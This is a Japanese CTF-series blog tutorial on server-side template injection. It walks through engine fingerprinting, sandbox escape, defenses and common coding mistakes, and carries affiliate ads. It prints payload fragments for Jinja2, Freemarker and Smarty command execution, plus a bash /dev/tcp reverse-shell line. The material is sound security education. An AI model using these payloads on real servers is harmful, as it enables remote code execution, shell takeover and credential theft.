PR 本記事には広告(Amazonアソシエイト・もしもアフィリエイト・A8.net等)が含まれます。掲載情報の正確性には努めていますが、商品の詳細は必ずリンク先で最新情報をご確認ください。
CTF・セキュリティ学習

【SSTI編】テンプレートに混ざる悪意とRCEへの道|CTF思考フレームワーク #14

安全に生きたい編集部

📖 この記事はシリーズの一部です

「CTF思考フレームワーク」 Web脆弱性編 #14 / 公開中 10記事 → シリーズ一覧を見る →

SSTI(サーバサイドテンプレートインジェクション)は、メール本文や設定画面など「テンプレートエンジンを使った入力欄」で発生する高威力の脆弱性。フロントのXSSと違って、サーバ側で任意コード実行に直結することもあります🐍

Jinja2、Twig、Smarty、Freemarker…テンプレートエンジンの種類を知ることが、SSTI攻防の第一歩です。

難易度:★★★(上級)

テンプレートエンジンに混入する制御構文。決まると一発でRCEに化けます🎯

SSTIはテンプレートエンジン特有の構文を悪用してサーバ側でコード実行する攻撃だよ💥

この記事の難易度

難易度:★★★(中級) / 所要:10〜12分 / 前提:CTF思考フレームワーク #13

👀 観察フェーズ:まず何を見る?

まずは{{7*7}}を入れて49が表示されるかを確認!これが基本の一手🔍

ユーザーが「文字列+変数」を編集できる場所はSSTIの温床。特に管理者だけが触れる機能でも、IDOR等で一般ユーザーがアクセスできれば致命傷です。

エラーページ・メールテンプレ・PDF生成・ダッシュボードのカスタム表示はテンプレ評価の温床。${...}{{...}}が反応すれば疑い濃厚です👀

入力した式が評価されてる時点でRCEまで一直線なんだね…💀

🤔 仮説フェーズ:攻撃者は何を考える?

SSTIの典型はエンジン別の構文

攻撃者の仮説。

🐍 仮説①:Jinja2 / Twig

{{7*7}}→49なら確定。{{config.__class__.__init__.__globals__}}からPythonオブジェクトを辿ってRCE

☕ 仮説②:Freemarker / Velocity

Java系で${"a"+"b"}→ab、<#assign ex="freemarker.template.utility.Execute"?new()>任意コマンド実行

⚡ 仮説③:Smarty / PHP

{php}system($_GET["cmd"]);{/php}{$smarty.template_object->...}PHPコードを直接実行

🌐 仮説④:ERB / Liquid / Handlebars

Ruby系の<%= 7*7 %>system()呼び出しなど、エンジン固有の脱出経路を辿る

SSTIは「エンジン特定→ペイロード」の二段階。49やAAAAAみたいな小さな探りから始めるのが鉄則です。

エンジン特定→ペイロード選択っていう2段階の発想が大事なんだね🧠

🔬 検証フェーズ:どうやって確かめる?

{{7*7}}${7*7}<%= 7*7 %>を順に試してどのエンジン構文が反応するか確定!

検証ステップ。

tplmapやSSTImapみたいな専用ツールもあるんだね🧪

⚔️ 攻撃フェーズ:実際の手口

SSTI攻撃の主軸はこの3つ

代表的な攻撃シナリオ。

① エンジンSandboxの脱出

Jinja2のautoescape/sandboxを__class__連鎖で抜けてos.popen等にたどり着く古典的経路。

② RCEからリバースシェル

{{...os.system("bash -i >& /dev/tcp/...")}}でリバースシェル取得。サーバを掌握

③ 設定情報・環境変数の漏洩

RCEまで行かなくてもconfigenvを表示するだけでDB認証情報・APIキーを盗める。

CTF{ssti_to_rce_via_python_mro_chain}

SSTIはXSSの上位互換。サーバ側で動く分、被害が桁違いです。

🛡️ 防御フェーズ:どう守る?

SSTI対策の3レイヤーはこれ!🛡️

SSTI対策の3点。

🚫 ユーザー入力をテンプレートとして渡さない

最大の鉄則。テンプレ文字列にユーザー入力を混ぜず、変数として渡す(autoescape ON)。

🛡️ 強Sandboxエンジンを使う

Jinja2ならSandboxedEnvironment、TwigならTwig\\Sandbox\\SecurityPolicy許可関数のみ実行

🔒 最小権限で実行

Webアプリプロセスを非rootユーザー&ファイルシステム制限で動かして、RCE時の被害を最小化。

「テンプレに入力を流さない」だけで大半は防げるんだね💪

🛡️ 今日からできる対策ツール

パスワードの使い回しや手動管理はどんなに気をつけても限界があります。🔑 パスワード管理ツール「ワンパス」なら、複雑なパスワードを安全に保管して「1つのマスターパスワード」だけ覚えられるので、今日から始める防御策としてしっくりきます。

PR / 広告

ソースネクスト

※ 上記は他社サービスへのリンクです。購入は各自でご判断ください。

⚠️ よくある落とし穴

よくあるミス。

  1. render_template_string(f”Hi {user_input}”) のようにユーザー入力を含む文字列を直接テンプレート化。
  2. 管理画面の「メール本文編集」を「管理者だけが触れるから安全」と思い込む。
  3. XSSサニタイズはしてるけどテンプレート構文({{ }})はそのまま通す。
  4. サンドボックスを「導入したつもり」で、実は通常のEnvironmentを使ってる。
  5. エラー画面に詳細スタックトレースを出して、エンジン情報を晒す。
  6. シークレットを環境変数で持ち、テンプレートからconfig経由で読めてしまう。

🧰 ツール早見表

使う道具。

ツール用途ひと言
tplmapSSTI自動検出・エクスプロイト対応エンジン多数、まず試す価値あり
PortSwigger SSTI Detection chartエンジン特定フロー手動検出のバイブル
Burp Suiteリクエスト改ざんペイロード適用の基本
HackTricks SSTI Cheatsheetエンジン別ペイロード集チートシートとして優秀

🎓 本気で学びたい人へ

Webセキュリティを「趣味」から「仕事」に変えたい方へ。🎓 ササエルはインフラエンジニアに特化したオンラインスクールで、セキュリティ設計の基礎から体系的に学べます。

PR / 広告

ササエル

📚 もっと深く学びたい人へ

体系的に攻撃と防御の両面を学びたいなら『ホワイトハッカー入門 第2版』が分かりやすい入口です📚

⚖️ 大事なお約束

必ず守ってね

この記事の手法は、必ず自分の環境か、許可されたCTF・脆弱性報奨金プログラム(HackerOne、Bugcrowd等)で試してください。他人のサービスに無断で攻撃を仕掛けるのは不正アクセス禁止法違反、立派な犯罪です。学んだ知識は守る側で活かしましょう🤝

📚 次に読みたい

🧪 自分で検証してみる

「自分でWordPressサイトを立てて、ログイン畫面のセキュリティを実際に試してみたい」なら、まずは安価で高速なConoHa WINGから。初期費用無料で始められます。

PR / 広告

ConoHa WING
記事URLをコピーしました